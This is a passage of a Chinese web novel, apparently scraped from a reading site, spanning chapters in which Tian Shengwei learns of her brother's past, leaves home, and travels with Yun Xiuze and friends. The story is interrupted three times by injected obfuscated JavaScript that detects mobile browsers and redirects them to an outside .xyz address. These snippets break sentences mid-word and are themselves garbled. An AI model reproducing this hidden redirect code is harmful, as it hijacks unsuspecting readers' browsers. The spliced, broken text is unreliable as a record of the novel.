她声音凄厉,带着哭腔,宛如字字泣血,身边能碰到的东西被她推倒扫落,烛台落到地上滚了两圈,烛火骤然熄灭,屋中登时暗了不少,母女二人一明一暗,如同冥冥之中划下的鸿沟,让爱重彼此的两人僵持对峙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16461850|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她发怒的动静不小,门外却无一人敢来上前劝慰,全都噤若寒蝉。 天盛微的心随着她每次的动作不断收紧,喉头哽咽,不得其语,听到她的话,却察觉了一些端倪,涩声问道。 “您......很恨镜双子吗?” “......我恨他们吗?” 明母怆然失笑,还算冷静的反问一句后,又突然开始歇斯底里。 “我恨!!!我如何不恨?!他们究竟为什么要来到这里?当时四皇兄监国,面对那群妖怪,他们明明有能力保住四皇兄的性命!却偏偏袖手旁观!!!还有恩垚!恩垚回家之后,我是如何细心教导?教他明事理、辩善恶!他明明已经要好起来了!!!却突然不吃不喝的将自己关在院中!!!好!我等!我等他重新敞开心扉!可等来的是什么?等来的是书信两三张......告诉我们他要去找那对双生子!!!就此便再无音信!!!!” 她捂着头不受控制的大喊,正在天盛微不知所措时,她又猛然指向她,喊道。 “还有你!!!你和你哥哥偏偏都有修法的天赋!你哥哥我无法干涉!可就连你、纵然如何阻拦!你还是走上了这条路!!!现在......连你也要去找他们!!!你也要一去不回吗?我又要像之前无数个日夜一般......只能对着你们的命灯惶惶度日吗......呜呜呜......” 她捂着脸跌坐到地上失控哭泣,长发凌乱,周围的暗色仿佛都化为了孤独和无助缠绕着她,成了她挥之不去的魂魄底色。 她爆发的悲戚萦绕在天盛微的耳边,心就如同被针细细密密的扎过,让她变得六神无主。 天盛微僵硬的在她身前跪下,抬手不知如何才能将她揽入怀中。 明母身体不受控制的剧烈颤抖,死抓着天盛微的肩膀,几阵干呕过后,便开始捂着喉咙急促的呼吸,但似乎越来越喘不上来气,摇摇欲坠也没有放松抓着天盛微的手。 见她这样,天盛微慌忙捂上了她的口鼻,不断帮她平复着呼吸,直到她渐渐平静下来,才收回了变得僵硬的手臂。 她将母亲揽在怀中,几乎是惊慌失措的,瞳孔不断颤动,刚刚还坚定不移的想法在现在已经开始动摇崩塌,她不知道究竟如何做才是最好的选择...... 明母缩在她的怀中,依然没有从刚才的状态中脱离出来,只是逐渐没有了愤怒,变得悲伤满目。 “不......我不是恨他们......我是恨我自己......是我太软弱无用......从小到大...我都这样没用......根本没能保住任何一个...想保护的人呜呜呜......” 吱呀—— 天盛微茫然回头,是得到消息,匆忙从酒宴上赶回来的明父推门而入,见到屋中母女二人狼狈相拥,屋中也狼藉一片,不由叹了口气,轻声道。 “你先出去吧,我和你母亲说会儿话。” 天盛微下意识的又把母亲往怀中护了护,意识到这是父亲后,才慢慢松开了手,扶着墙,有些踉跄的挪出了房间。 始终在外面候着的雪柳连忙将她扶到一边坐着,一边吩咐人去煮碗姜汤来,一边为她披了件外衣,又手脚不停的替她整理仪容。 屋中烛火重新亮了起来,从剪影看,明父似乎将明母扶到了床上躺下,也不知说了什么。 天盛微出神的坐着,连呈上来的姜汤也只是在雪柳的劝慰下勉强喝了两口。 星子悄无声息的挪动,月亮逐渐隐没在了云层之中。 屋中变得一片寂静,直到侯着的侍从都开始打瞌睡后,明父才重新推门而出。 天盛微一下站起来,将旁边的雪柳惊的打了个激灵,连忙打起精神将滑落的外衣重新披在了她的身上。 明父神情虽然带着疲惫,但看着她的又满是慈爱,他过来按着天盛微重新坐下,对侍从们吩咐道。 “都下去吧,雪柳,你也是。” 雪柳担心的看了一眼天盛微,低头退了下去。 天盛微不安问道。 “父亲,母亲怎么样了?” 明父为她拢了拢领口,安慰道。 “你母亲无事,已经睡下了。” 天盛微松了口气,垂眸不知该说些什么。 明父看着她,有些恍然,青儿在他的印象中还是小小一只,会跟在他的身后,装成小大人的模样问东问西,怎么一转眼就出落成了现在这副模样呢? 孩子的成长也许总在悄悄进行,终有一天会变得羽翼丰满,拥有自己想要翱翔的方向。 “看来你母亲也没有打消你去找镜双子的决心啊。” 天盛微嘴角微微下垂,眼神躲避,仍然倔强,但又不知如何是好。 明父见此弹了一下她的额头,笑道。 “既然是已经下定了决心的事,就不要轻易动摇啊。” 天盛微捂着被打的额头不解。 明父叹道。 “其实你母亲变成这样,我也有一定的责任。” 他抬眼看向天盛微,有些自责的笑道。 “你还不知道吧?关于......你哥哥的事。” 101. 疑相十七 云修泽回来后,心情就始终沉郁,今日他所见的天盛微与往日截然不同,不再像是之前为了做什么才换上的烟罗软袖,而是她本身就合该穿着那些,端坐于华贵马车上。 这样的她让他觉得恍惚,我们真的认识吗?我们真的一起携手走过了那么多路吗?还是说一切不过是我的臆想,从未有一个让他心动至此的人出现,她是计都矜贵的皓明郡主,他是出门历练的隐世子弟,两人从未相识。 如果是那样,那他们如今会是什么模样?他们还会相识吗?还会......再一次爱上彼此吗? 说来可笑,这种心思连他自己都明白不过是庸人自扰,却仍忍不住的发散,若是让天盛微知道了,恐怕会提着深流与他打上一架,好叫他清醒清醒。 他的异样被其他三人收入眼中,唐思月问他他也不说,非得等到四下无人时,行愿去问才肯透露一二。 得知原因,唐思月满脸无言,心有所爱的男子为何如此患得患失?思绪之娇柔,让她这个女子都自惭形秽。 不过腹诽归腹诽,该开解的还是得开解。 她和行愿到了他的院子时,正巧碰见云修云从里面出来,他说。 “收到了封信,上面写着让我哥亲启,但又不是盛微姐的字迹,估计是她找人代笔的吧。” 送信来了? 唐思月微微诧异,说道。 “既然有了消息,他那点儿心思应该也差不多散了,倒不必我们再费心劝。” 云修云仍是一头雾水。 “啊?什么心思?劝什么?他刚才不高兴不是因为没见到盛微姐吗?” 唐思月怜爱的摸了摸他的头。 忽然,屋内传来一阵东西被摔打落地的声响,烛火也有了几瞬飘摇,仿佛正有人怒火滔天。 三人立马警觉,唐思月蹙着眉上前敲了敲门。 “老大?你怎么了?是盛微出什么事儿了吗?” 他们仔细听着屋内的动静,却只能听见他不稳的呼吸,见他久久不回话,唐思月当机立断,便要让两人破门而入。 似乎察觉到了他们的意图,云修泽堪堪开口,声音晦涩低沉,有着不容拒绝的强势。 “别叫我......我没事,她也没事,你们都走,我想自己一个人静一静。” 三人面面相觑,最终唐思月说道。 “好,我们离开,你有什么事不要自己一个人乱想,我们都在家里,不会出门。” 这次,屋内连呼吸声都没有了,静悄悄的,好像根本无人居住。 唐思月有些担忧的看了眼房门,只能暂时带着他们两个离开。 出了院子,云修云不安的攥紧了司越的剑柄,道。 “他怎么了?我从没见过他这个样子。” 唐思月看着紧闭的门若有所思。 “那封信是谁给你的?” 云修云回忆道。 “是一个穿着不错的小厮,身上没有能明确辨明是来自何处的特征,一句话也没说,给了信之后便走了,我以为是盛微姐特意找的人,难道不是吗?” 唐思月道。 “不是没有那个可能,只是......” 她看了一眼行愿,行愿心领神会,点了点头后便几个起落消失在了这里。 “以防万一,还是查一查吧......”唐思月呢喃道。 而此时被他们以为是送信人的天盛微正因为父亲的一句话感到惊愕万分。 ......我哥哥的事? 天盛微的脑中一时混乱,不知该从何问起。 父亲愿意说了?哥哥又和母亲有什么关系?为什么父亲说他有责任? 她正混乱,明父就率先问道。 “你查了这么久,又集齐了所有地图,现在查到什么了?对你哥哥的事有什么头绪了吗?” “我......” 天盛微双手撑着额头,努力将思绪捋顺。 “我哥他,跟四皇子的死有什么关系?” 明父没想到她已查到这里,顿时有些惊讶。 天盛微抬头看他,眼神不明,问道。 “上代四皇子的事,您都知道吗?” 明父侧过头叹了一口气。 “我自然清楚,我们家虽不掌权势,但是终归是皇室成员,我手中又握有有通神阁,当时的时局,我便是不想参与,也定然会被搅入其中。” “你又是如何知道的?”他反问道。 天盛微垂下眼,道。 “我有一个朋友......名为幼宁。” 原来是这样,明父想,怪不得他们入计都之后,水心就不再上报他们的消息了,看来是沾上了陛下的边,他摇摇头。 “朋友?你们该是表姐妹了。” 看起来父亲是真的全都清楚,天盛微冷静的想。 “究竟发生了什么?” 明父放在桌子上的手慢慢蜷了起来,忆及过去,也常常自省,身为人父,他所作所为仍然有所欠缺。 “你母亲本就体弱,你哥哥恩垚便是我二人好不容易得来的麟儿,从小便视如拱璧,他性情可爱,在孩提之时就展露了不同于年龄的聪慧,更何况还有修法的资质,很快便被选为了七皇子伴读。” 当时他的年龄其实还不足以被选为伴读,只是若想成为人君,总需要实力强大却无心权力的权贵心腹。 恩垚又正好和七皇子的年龄相仿,七皇子的生母在当时十分得宠,在母家的意思下,便央着玄武帝为两个小儿先行绑定,明言虽然辈分不同,但本就是一家人,孩子天真可爱,一同上书房既可以彼此督促,又可以培养感情,实为上上之策。 一通轻言软语,没用多久便哄的玄武帝答应了这桩事,从此,他与七皇子便常常同进同出,只是他们年纪尚小,一般会有人陪同,但有一次不知怎的,看护他们的宫人被刻意调开,两人就这么消失的无影无踪。 事关两位皇族的安危,计都上下曾一度戒严,可是就算翻遍了计都,也没能找到两人的踪迹。 明母大受打击,险些就此一蹶不振。 明父动用了通神阁全部的人手,和七皇子母家的势力合作,一直在其他各个地方寻找,从未放弃,但他们一直杳无音讯。 一直到了玄武十年,他才被寻回,只是据他后来回忆,他和七皇子是被人掳走,很快便分道扬镳,离家的七年间,他们从未见过。 而他自己也性情大变,不复往日的活泼,变得沉默寡言。 失而复得,但他却好像在外面受了许多苦楚,让明母悲喜交加。 他的不正常很快便显露了出来,不仅对过去之事几乎闭口不谈,而且时常深夜哀嚎,深陷梦魇,不知从哪里习的一身武功,运转之时常常会有走火入魔的趋势。 最重要的是,离家前他尚未对人间正理形成清楚的认识,归家后似乎也会对此感到模糊,生杀善恶,颠倒黑白。 干着恶事,却又一脸无辜,明父问及,也只说认为那是对的所以才干,不论明母如何劝导管教,也仍然很难扭转,致使她常常以泪洗面。 虽然都是一些微不足道的小事,但明父已经意识到了事情的严重程度。 为了命运多舛的幼子,他四处求医,问佛寻道,无论从前多么不屑一顾的方法,现在也愿意尝试,只是却始终收效甚微。 正当他不知如何是好时,忽然在一次归家的小船上见到了一个白发修士,他为恩垚指了条路,那便是斩断所有不必要的缘分,将一身法力打散,重新修炼,潜心专注在正道之上,直至忘我,再去到有天道庇佑、大运在身之人的身旁待上几年,便可化劫为福。 他的样子不甚靠谱,但再让恩垚接着修习那身功法也的确不妥,便干脆死马当活马医,尝试了那修士说的法子。 打散修为对于一个修士来说无异于剥皮剔骨,那日恩垚的哀嚎响彻王府,明母也心疼到不顾礼仪,破口骂明父是畜生。 但当时他决心已定,不成功便成仁。 之后的几年里,他们为他找了不少师傅,宫中来的,门派请的,凡是名门正道,全都试了一遍,除了必要的人,其余的也一概不许他见,就连他的生活起居,也是由他自己动手。 渐渐的,不少人都淡忘了明王府还有个公子的事实,他自己也不再夜半惊醒。 两人欣慰非常,不断教导他何为正确的善恶,忠君、爱国、友民、谦和、稳重。 又过了几年,他的身上几乎已经找不到当年的身影,如明父明母所愿,成了一个善良正直的谦谦公子。 按那修士所说,化劫为福只剩了最后一个步骤。 有天道庇佑,大运在身的人该去哪里找? 明父瞬间想到了宫中的几位。 玄武帝在当时已有了昏庸的趋势,伴君如伴虎,明父也不欲选他。 那便是几位皇子皇女,最终,他选择了四皇子。 四皇子与明母虽是异母所生,却始终庇佑爱护着她,本身又有大才,性情端庄温和又不失杀伐果决,有明君之相。 明父不愿参与夺嫡之争,但若要他选,那必然会站队四皇子,而且就算没有他的支持,他相信四皇子也绝对能凭自己的实力成为下一代君王。 于是恩垚便被送去了四皇子身边,既然不求官职富贵,也不愿公之于众,那便只以暗卫之职随行在他身侧。 既为舅甥,又为君臣的两人,感情变得很是不错。 四皇子的治世之道恩垚回家提起时往往赞许叹服。 那段时日,他肉眼可见的变得开朗,对未来的盛世充满期待。 一切的变故发生在玄武帝暴毙,四皇子监国,而闻潺怒火滔天,寻仇之际。 皇室仅剩的两位皇子必死其一的消息在一些权贵之间流传开来,紧迫的气氛甚至被带到了朝堂之上。 明父虽然没有掌权,但妻子出生皇家,本身又经营起了天下第一商会,很多不知如何是好的便寻到了他这里。 明父和心腹彻夜长谈,秉烛到了天明。 最终,他拍板道。 既然两位皇子必死其一,那么到了时限,如果他们无法决定,便由他们这些臣子来,择一暗杀。 谁知这话却被正巧来寻他的恩垚听到,往日父亲教导的善恶正念被他亲口否定,情绪激烈的与他对峙。 在他看来,这件事情的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“为父还能诓你不成?你母亲不是不明事理的人,她知道问题出在自己身上,只是一直不愿面对,现如今......” 明父的目光落在她的额珠上,表情变得不太自然。 “现如今你有了心爱之人,有了想做之事,我们不该成为你的枷锁,去吧,孩子。” 明父倾身,如幼时一般轻轻吻上她的额头,面目慈爱不舍。 “你已经长大了。” 天盛微眼底泛起泪光,扑入父亲怀中,重重点了点头。 她跨步来到紧闭的门前,撩开衣摆跪了下去,叩首作别,扬声道。 “女儿不孝,此去定然顾全自身!也望母亲宽心,保重玉体!” 屋中微弱的烛火片刻明灭,似乎做出了无声的应答。 在她离去前,明父终是幽幽道。 “下次回来,那个混小子要是再不上门拜访,这亲事,我可就不认了!” 天盛微绊了一下,心虚又好笑的应道。 “是。” 天盛微得知了一直想知道的事情,又得到许可,可以光明正大离开,便按捺不住的雀跃起来,回到房中收拾东西。 得知她又要走的雪柳委屈痛哭,哭完后,还是兢兢业业的帮她整理行装,带着哭腔,一边说这个要带上,一边把另一个塞进她手里,在她看来,只恨不得把自己也塞过去。 天盛微为了安抚她,只能尽可能顺着她的意思往储物灵器中放些基本用不上的东西,但是在她哭着要把床上搬空时,还是忍不住趁她不注意溜之大吉。 对不住了雪柳,这是最后一次! 夜晚已经在父女俩的对话中无声无息的离去,卯时,正是日月交替之际,天色将明未明。 云修泽已经平复好了昨夜的躁郁,正漫无目的的守在明王府的一个出口处。 他知道见不到她,只是心中杂乱,在她附近待着也是好的。 面前是一个巨大的湖泊,上面只有一座由青石堆砌的平桥,长长的,这面是一个比较偏僻的官道,那一面就直接通往了明王府。 云修泽出神的看着,他不是第一次来这里了,白日热闹之时,还能看到许多衣着轻盈华美的姑娘在桥上嬉闹,他就会想,穿着贵女服饰的她走过这里,又是什么模样。 总之,不会像个舞刀弄剑的路痴。 云修泽被自己的想法逗的嗤笑出声。 湖面水汽重,晨时起了雾,青石桥在其中变得若隐若现。 他忽然站起身,眼睛紧盯着桥的来处。 一个熟悉的身影如幻境般出现,轻而易举的打破了他所有的不安纠结。 提着暖灯,步伐轻盈,窄袖劲装,长发束起,虽然无甚点缀,却仍然美得心惊。 暖融融的光驱散了雾气,在还未完全亮起的蓝色天幕中轻轻摇晃,每一次,都带动着他的心跳。 云修泽站在桥的这头,不舍得移开哪怕一瞬的视线,看着光由远及近,直至回到了他的身边。 于是他明白,他们可以出发了。 102. 雾讫一 “你怎么出来了?” 云修泽拉着她的手惊喜的问道。 天盛微与他手指交缠,道。 “还不是因为有人思之如狂,为了见我一面跑到人潮拥挤的街道上吗?” 云修泽摸摸脸,有点心思被戳破后的心虚。 “你知道?” “嗯,想不知道比较难。” 云修泽说回正经的,有些担心。 “你不会又是偷跑出来的吧?” 天盛微嗔怒看了他一眼。 “自然不是,而且......” 她顿了顿,接着说道。 “我还知道了我兄长的一些事。” “有线索了?”云修泽没想到还有意外收获。 天盛微摇了摇头。 “是他离开的原因。” 前几日明王府的态度还是很反对她参与这件事,但这日过后,又是放她出来,又是告诉她过去之事,明显有些反常,云修泽猜测道。 “你......跟你父母吵架了?” 天盛微避开眼神,心虚气短。 “......没有。” 云修泽心知恐怕还真是这样,但心情复杂,看着她,还是庆幸她能够站在这里,叹道。 “你啊你......他们可说你了?” 天盛微眼神飘忽了一下,慢悠悠的背过身不回他的话。 云修泽拿她没办法,旋即拿出一个药包,递上去之时,微微停顿了一下,才接着说道。 “这是......思月所制,你母亲心有郁气,惊悸难安,她没亲手诊断,所以只配了一些温和普适的方子,托我带给你。” 天盛微这才转过身,眼中带上笑意。 “思月体贴,我之前还想托她为母亲看诊,只可惜我母亲不愿,现在我也可安心许多。” 她接过药包,对云修泽道。 “我先将它送去王府,你在此等我。” 云修泽温和笑看她远去,见她行至桥的中央,忽然转身道。 “对了,我父亲说,下次你若不来拜访,他就不认这门亲了!” “什么!” 云修泽双眼睁大,立马就想把她抓回来问个清楚,她却早有预料,转身就跑,剩下云修泽好气又好笑的独自抓狂。 * 天盛微回来让几人都很高兴,云修云尤甚,这几日她不在,他哥就好像吃错了药还不肯承认一般,时常抽风,现在总算能正常交流了,真是谢天谢地。 五个人这次谁都没有惊动,悄无声息的离开了计都。 上饶平原离他们所在十分遥远,中间隔了清秋道和佘渊,尤其是佘渊还不能直接通行,这次赶路势必要用上不少时间。 不过几人心情倒是平静,经历许多大起大落的波折过后,现在手中握着谜底,更需要时间来沉淀,所以这个距离倒是正好合了云修泽的心意。 午时日头正盛,天盛微在马车中闭目养神,忽然听唐思月问道。 “盛微,你可有写信送来过吗?” 天盛微睁开眼,微微疑惑。 “我虽写了,却从未成功送出。” 唐思月沉吟片刻,说道。 “你回来的前夜,曾有人送了一封写有老大亲启的信,不知源自何人,只是老大看了信后变得有些反常,却不愿跟我们说,我担心他又是遇上了什么事情要自己硬扛,你抽空还是问一问的好。” 送信的那个小厮恐怕不是普通人,行愿去追时,他已经消失的无影无踪,连半分痕迹都没留下,就算跟一路上的人打听,也都说对那个人没有印象,应该是刻意挑选的。 天盛微不知还有此事,当即应了下来。 他们一路停停走走,对自己的扬名程度都有了新的认识。 不说到哪几乎都有人能认出他们,就说连书肆卖的话本都有了以他们为原型的故事,许多编得十分离谱,是连云修泽看了都会脸红的程度。 在又一次猝不及防的被改编后的戏本子创了一把后,五人心累的躲到了一个酒楼里,脸色和心情一样沉重,把进来问话的跑堂都吓了一跳。 “几位......可要点什么?”他小心翼翼的问道。 云修泽:“醉生梦死。” 天盛微:“静气凝神。” 唐思月:“闭目塞听。” 云修云:“洗心革面。” 行愿:“犯而不校。” 跑堂:“......”他今天出门就该看看黄历。 “客官恕罪,我们楼内暂无这几样菜,这是我们的具体菜样,请过目。” 跑堂深吸了几口气,还是秉承着良好的职业操守给他们介绍。 几人沉重的叹息,最终还是行愿在跑堂差点忍不住开溜的时候开口说了句正常话。 “一壶好茶并几样特色菜即可。” 跑堂如释重负的应声,赶紧离开了这个是非之地。 云修泽靠后瘫在椅子上,叹道。 “我总算理解镜双子为什么要花那么大的功夫去毁画像了,这放谁身上不疯啊。” 这是云修泽第一次对镜双子生出如此发自内心的敬佩,他现在也很想效仿前人,只可惜不能如他们一般无所顾忌。 “叩叩——” 敲门声传来,本以为是菜到了,却不想开了门,进来的是两个老熟人。 许知夏扫视一圈,毫不客气地走进来。 “巧了,还真是你们。” 周彦止随后跟着进来,依然挂着老好人的笑容,也就只有嘴上客气了两句。 “叨扰,叨扰。” 来了客,虽是不请自来,但一行人还是站起了身,云修泽挑眉抱拳,道。 “两位道友,许久不见啊,这是......特意来寻我等?” 这里是计都的边境,昆天谷的两位核心弟子,怎么会在此处? 许知夏摆摆手,语气有些不耐烦,但他本性如此,也无需在意。 “放你们的心,不是来抓你们的,不过倒的确是来见你们的。” 他拉过周彦止,指指他又指了指自己。 “而且我们这副模样,也算是拜你们所赐。” 两人身上似乎都带了些伤,而且仪容潦草,像是长期奔波所致。 云修泽眼神微妙,扬了扬下巴,说道。 “先坐。” 他们坐下来,倒了杯水仰头灌下,云修泽问道。 “许道友何出此言?” 许知夏神情颇有哀怨,道。 “还不是几位才智过人,能在妖族大计还未施展前将之扼杀。” 云修云莫名其妙,不解道。 “跟这个有什么关系?” 许知夏用脸骂人,刚想张口,就被周彦止先一步捂上,他笑道。 “此事怪不得你们,你们的确立下了功劳,只是许多妖族出了佘渊,分散在各地,需要各个宗门派人善后罢了,我和三师弟既为嫡系,自然义不容辞。” 唐思月了然,看来是折腾的够呛才满腹牢骚。 云修泽问道。 “既是义不容辞,怎不见行二的弟子,就你们两人?” 许知夏挣脱周彦止的手,了无生趣的靠在椅子上,道。 “二师姐仍在闭关,羡慕死我了,早知道我也闭关去了。” 周彦止不痛不痒的斥道。 “小夏,不可胡说。” 许知夏翻了个白眼。 “所以你们是特意来跟我们抱怨的?”云修泽有些无语。 “自然不是。” 周彦止笑道,他拿出了几坛酒,放到桌子上,解释说。 “这是我们出门时,周天山上那位派人带给我们的,说让我们见到你们时,交予你们。” 许知夏仍然瘫在一边不想说话,云修泽看看他,又看了看笑容可掬的周彦止,有些疑惑。 先生托他们给我们带酒? 这酒看着平平无奇,唐思月拿过一坛摆弄了一下,忽然探出点灵力,惊讶道。 “樊芝酒?” “樊芝?” 云修泽突然想起在周天山时,唐思月曾采摘樊芝花要给央玉酿酒,莫不就是这些? 唐思月把酒放回桌子上,道。 “好像就是我酿的那批,奇了,这酒短则也要等上五年的时间,怎的才一年就好了?” 见他们视线朝自己看来,许知夏摆手撇清关系。 “别看我们,我们也不知道,我们就是个跑腿儿的。” 天盛微忽然说。 “师傅又‘催熟’了吧。” “什么意思?”唐思月挑眉问道。 天盛微拿过一坛酒看了看,道。 “师傅常年孤身,消磨时间的法子有限,偶尔酿酒,总是等不到它自然成熟,常常用灵力催促,这酒最是心爱,恐怕更是等不得。” 她这么一说,几人瞬间就联想到央玉可怜巴巴,成日蹲在酒坛边的模样,顿时觉得好笑又心疼。 云修泽将几坛酒都拿过来,还佯装客气道。 “两位可要尝尝?不若破上一坛?” 许知夏见他收酒的动作一点没停,无语道。 “不必了,你们自己留着喝吧。” 此时跑堂带着菜回来,见屋中又多了两人,勤恳问道。 “两位客官可要加点菜?” 许知夏:“来份狼心狗肺。” 周彦止顿觉有趣,道。 “哦?贵楼这菜名倒是有意思,不知有没有棋高一着?” 跑堂:“......”真是蛇鼠一窝! 晚上,众人回房后,天盛微敲开了云修泽的房门。 云修泽见到她,调笑道。 “怎么?想我了?我还没去找你,你先来找我了?” 天盛微走进屋,正见到桌上放着一封信,还没说什么,云修泽就抢先一步将其收了起来,神情微微不自然。 天盛微疑惑道。 “是谁来信?究竟写了什么让你这样?不能和我说吗?” 云修泽眼神闪躲,在屋中踱步,半晌后才问道。 “思月告诉你的?” 天盛微嗯了一声,他停下来,盯着某处,说道。 “暂时不能,你等我再想想......再想想......” 他很少如此焦灼不安,天盛微不明所以,但意识到了这件事的重要性,站起身将他按到了自己怀中,安抚的顺着他的脊背。 云修泽在她怀中渐渐放松,把头也埋了进去,忽然听她冷不丁的问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470536|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 “你不会又撇下我们去干什么危险的事吧?” 云修泽抖了一个激灵,连忙保证道。 “不会!绝对不会了!” 天盛微淡淡道。 “那最好。” 褚闲和深流忽然出了鞘,剑尖指向同一个方向。 两人正色起来,天盛微眼神闪烁了一下,说道。 “妖气。” 云修泽和她对视一眼。 “走,去看看!” 两人皆是轻功卓绝,随着妖气传来的方向迅速赶去,逐渐浓郁的气息让他们的神色变得郑重起来,这恐怕不是一个两个能散发出来的。 这事最开始既然就是他们发现的,那也不缺这一点善后,两人已经做好了战斗的准备,可到了地方,却发现根本没有出手的必要。 只见周彦止一把甩去剑上的血珠,收剑回鞘,站在数十具尸体之中,溅出的鲜血几乎将整个巷子涂满,可他仍然挂着那一成不变的笑容,面不改色,很难想象这惨状是出自他手。 见到两人,还惊喜的招呼道。 “两位道友,好巧啊!” 他脸上还有被溅上的血痕,衬得笑容格外凶残。 云修泽一言难尽的砸了下嘴。 “周道友,怎么就你一个?许道友呢?” “在那儿!” 周彦止指了一个方向,两人顺着看去,正见许知夏从远处赶来。 他身上也有不少血迹,显然刚刚结束战斗,见到两人,说道。 “怎么又是你们?你们来干嘛?” 云修泽反问。 “那你们来干嘛?” 许知夏翻出帕子扔给周彦止,让他擦脸,嗤笑道。 “问的什么废话?都说了我们要善后,怎么?你莫不成以为我们是特意来给你们送酒的?好大的架子。” 云修泽指了指死的东一块西一块的妖族,问道。 “如此善后?” 周彦止把脸擦干净,回头一看,后知后觉的有点不好意思,说道。 “其实主要还是规劝和治服,将他们遣送回佘渊,这些......这些实在是桀骜不驯......” 许知夏满脸无所谓,仿佛已经习以为常。 他们这一路下来,不知有多少妖族死在他们手上。 不过既然无事,两人也不打算继续呆在这里,简单告别后就要离开,谁知许知夏却突然将他们叫住,回头就见他将剑刃对准了他们。 云修泽眨了眨眼,问道。 “许道友这是何意?” 许知夏一挑下巴,神色带着挑衅。 “大比我们没碰上,不如现在来比试一场?二对二还是单挑都随你们如何?” 云修泽眼珠一动,去看周彦止,见他虽然怀有歉意,却也同样有一战的意图。 天盛微在背后攥了攥他的手,云修泽假惺惺劝道。 “果真吗?你们身上都带着伤呢。” 许知夏哼了一声。 “不劳你费心。” 云修泽笑容忍不住又上扬了一寸。 “那何不定个彩头?” 许知夏狐疑道。 “你想要什么彩头?” “一个问题如何?”云修泽伸出一个手指。 “我们赢了,你们就毫无保留的回答我们一个问题,反之亦然。” 许知夏和周彦止对视一眼,似有若无地看向了天盛微,片刻后点头同意。 “可。” “那便开始吧。”云修泽伸手笑道。 他这幅悠哉悠哉的态度让许知夏有些不爽,双眼一眯就骤然向他攻去,同时周彦止也动了起来。 两人不愧为昆天谷的核心弟子,受了伤也比其他人要强出一大截。 只是今非昔比,云修泽早就不是当时被压在阵法下动弹不得的他了,他们这一路上遇到的都是地狱级难度,虽然很想报当时的’一压之仇‘,但最终还是决定善良一些。 两人相携跳开,褚闲和深流齐出,横在面前,发出微微的嗡鸣。 周彦止和许知夏瞬间就感到手中的剑被隐隐压制了,晦涩之感顿生。 许知夏眼底一暗,看来他们的剑生出剑灵的传言不假,这种武器的压制十分霸道,硬着头皮再打下去也可以,只是他们本就受了伤,没那个必要了,胜负已明眼可见。 每个时代都有天材,上代镜双子,这代第七洲,他们这些平日里的领军人物,无论如何努力,也远不及这些真正的天之骄子。 许知夏很不甘心,他重新握紧剑柄,势必要打这必输之争,可还没冲上前,就被周彦止箍住拦了下来。 他在许知夏耳边低言。 “好了,好了,之后我们把伤养好再找他们打。” 许知夏垮着脸放下了剑,谴责云修泽道。 “招摇撞骗很是顺手?” 云修泽毫不脸红,全盘接收。 “过奖过奖,有机会再陪你们过招。” 许知夏哼了一声,把脸扭过去,周彦止抱歉的笑了笑。 “不知两位想问什么?” “嗯......” 云修泽低头搓了搓手指,平静说道。 “我想问......镜双子。” 103. 雾讫二 “镜双子?” 周彦止仰头回忆了一下,说道。 “他们太出名了,估计我们知道的你们也早就知道了,你确定要问这个吗?” 云修泽道。 “我确定。” 既然他坚持,那周彦止也没什么所谓,笑道。 “那两位道友想知道什么?” 天盛微疑惑的看向云修泽,云修泽沉默了一会儿,说道。 “两位可知道镜双子有什么众人不太知晓的习惯或者特点吗?” 他们师从秦谷主,秦谷主又识得镜双子,这一路来,认识镜双子的长辈多少都对他们有所保留,就算可以问,当时也没想到这些,之后再遇见的可能性也不大,所以...... 云修泽盯着这两人,虽然不知道他们是否从秦谷主那里听得一言半句,但问一问总比错过的好。 “习惯和特点......”周彦止摸着下巴垂眸想了想。 “我还真不知道啊,小夏你呢?” 许知夏叹了口气。 “你这个脑袋每天也不知道在记什么,你忘了?师傅说过一次。” “是什么?” 云修泽死死盯着他。 许知夏的回答让云修泽在原地定了半天,许知夏莫名其妙的看着他,刚想开口刺激两句,就又被周彦止捂住了嘴,他直觉性的敏锐让他明白该到此为止了,于是拖着师弟呵呵笑道。 “两位道友,此间事了,我们稍作休息还要赶往下一个地方,就不奉陪了,有机会的话再一起切磋。” 许知夏熟练的挣脱开,敷衍的抱了个拳。 “下次没伤一定跟你们耗到底。” 天盛微看了看云修泽,抱拳回道。 “一定,回见。” 两方告别,天盛微担忧的站在云修泽旁边,影子被月光投在他的前方,拉的长长的,映在他的眼睛中照不出一点光亮。 “怎么了?” 天盛微轻声问道。 云修泽忽然笑了笑。 “阿微,先生真是无所不知啊......” * 告别了那两个师兄弟,他们也没有在此地久留,很快便重新上路。 一路上,胆大包天攻击他们的有,想要坐收渔翁之利、跟踪他们的也有,但都被他们清理了个干净,久而久之,便不再有人打他们的主意。 五人又在路上走了一个多月,直到开始入夏,他们才算是将将到了上饶平原的地界。 这里地广人稀,植被茂盛,草原一望无际,身处这里,不由就会心中开阔,只是可惜灵气稀缺,土壤也并不适合种植,常年来往返这里的就只有一些商队。 